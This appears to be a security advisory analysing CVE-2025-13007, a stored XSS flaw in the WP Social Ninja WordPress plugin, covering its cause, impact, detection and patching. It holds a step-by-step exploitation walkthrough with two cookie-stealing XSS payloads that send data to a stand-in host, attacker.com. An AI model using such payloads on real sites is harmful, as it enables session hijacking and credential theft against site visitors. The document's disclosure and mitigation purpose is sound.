CVE-2025-13007: 
WordPress vulnerability analysis and mitigation

CVE-2025-13007 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Social Ninja – Embed Social Feeds, Customer Reviews, Chat Widgets plugin for WordPress. It affects all versions up to and including 3.20.3, and was published on December 2, 2025. The flaw stems from insufficient input sanitization and output escaping on externally-sourced content pulled from connected social platforms. It carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin fetches and renders content from connected external sources such as Google Business Profile reviews and Facebook page posts without adequately sanitizing or escaping that content before outputting it to WordPress pages. Specifically, the vulnerable code paths include GoogleMyBusiness.php (review ingestion), review-content.php (template rendering), and Helper.php (shared utility functions). An attacker who controls or can post to a connected Google Business Profile or Facebook page can embed malicious JavaScript in a review or post, which the plugin then stores and renders unsanitized on the WordPress site (Wordfence, EUVD).

Successful exploitation allows an unauthenticated attacker to inject persistent malicious JavaScript into WordPress pages that display social feed content. Any site visitor who loads an affected page will have the script execute in their browser, potentially leading to session cookie theft, credential harvesting, redirection to malicious sites, or defacement. The confidentiality and integrity impacts are low-to-moderate, with no direct availability impact; however, the changed scope means the attack crosses from the external social platform into the WordPress site's visitor context (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.113%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker to have the ability to post content to a Google Business Profile or Facebook page that is connected to the target WordPress site, which limits the attack surface compared to fully unauthenticated vulnerabilities (Wordfence, EUVD).

1. Identify a target: Locate a WordPress site running WP Social Ninja version ≤ 3.20.3 that displays Google Business Profile reviews or Facebook page content publicly.
2. Gain posting access: Obtain the ability to post a review on the target's connected Google Business Profile (e.g., as any Google account user, since Google reviews are open to the public) or post to the connected Facebook page.
3. Craft malicious payload: Write a review or post containing an XSS payload embedded in the text, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an image-based payload like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Wait for synchronization: The WP Social Ninja plugin periodically fetches and caches external reviews/posts. Once the plugin pulls the malicious content, it stores it without sanitization.
5. Trigger execution: Any site visitor who navigates to a WordPress page displaying the social feed (e.g., a reviews widget or feed page) will have the injected script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing repeated page loads of pages containing the WP Social Ninja reviews widget, particularly from unfamiliar IPs shortly after a new review was posted to a connected social profile.
• File System: Review cached content stored by the plugin (typically in the WordPress database wp_options or custom tables) containing <script>, onerror=, javascript:, or other XSS indicators in review text fields.
• Network: Outbound requests from visitor browsers to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) visible in browser developer tools or network monitoring.
• Database: Entries in the plugin's review cache tables containing unsanitized HTML or JavaScript tags within review body fields (Wordfence).

The vendor released a patch in version 3.20.4 (changeset 3397264) with a follow-up fix in a subsequent release (changeset 3400414). WordPress site administrators should update the WP Social Ninja plugin to version 3.20.4 or later immediately via the WordPress admin dashboard or WP-CLI (wp plugin update wp-social-reviews). As a temporary workaround prior to patching, administrators can disable or remove any widgets or pages that display externally-sourced social content (Google reviews, Facebook feeds) until the update is applied (Wordfence, Plugin Changeset).

The vulnerability was disclosed by Wordfence, which serves as the primary authoritative source and assigned the CVE. Red Hat also tracked the issue in their security advisory database. No significant independent researcher commentary, media coverage, or notable social media discussion beyond automated CVE feed posts has been identified for this vulnerability.